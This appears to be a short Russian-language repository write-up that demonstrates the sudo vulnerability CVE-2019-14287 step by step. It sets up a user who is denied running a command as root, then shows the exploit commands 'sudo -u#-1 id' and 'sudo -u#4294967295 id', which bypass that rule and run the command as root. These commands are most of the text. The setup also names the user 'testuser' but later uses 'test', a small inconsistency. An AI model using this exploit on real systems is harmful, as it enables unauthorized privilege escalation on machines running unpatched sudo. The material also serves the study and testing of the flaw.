gurneesh/cve-2019-14287-write-upПошаговая демонстрация уязвимости sudo CVE-2019-14287, позволяющей ограниченным пользователям выполнять команды от имени root с помощью поддельных идентификаторов пользователей.
4294967295 Ошибка Sudo позволяет ограниченным пользователям выполнять команды от root
sudo su - root useradd -m -s /bin/bash testuser passwd testuser // добавьте пароль для пользователя visudo
test ALL=(ALL, !root) /usr/bin/id // указание, что этот пользователь не может использовать команду id с пользователем root
СОХРАНИТЕ ФАЙЛ И ВЫЙДИТЕ ИЗ ROOT ПОЛЬЗОВАТЕЛЯ
sudo su - test
sudo id ВЫ ПОЛУЧИТЕ СООБЩЕНИЕ: Sorry, user test is not allowed to execute '/usr/bin/id' as root
sudo -u#-1 id ИЛИ sudo -u#4294967295 id
И вот так вы выполнили команду id от имени root
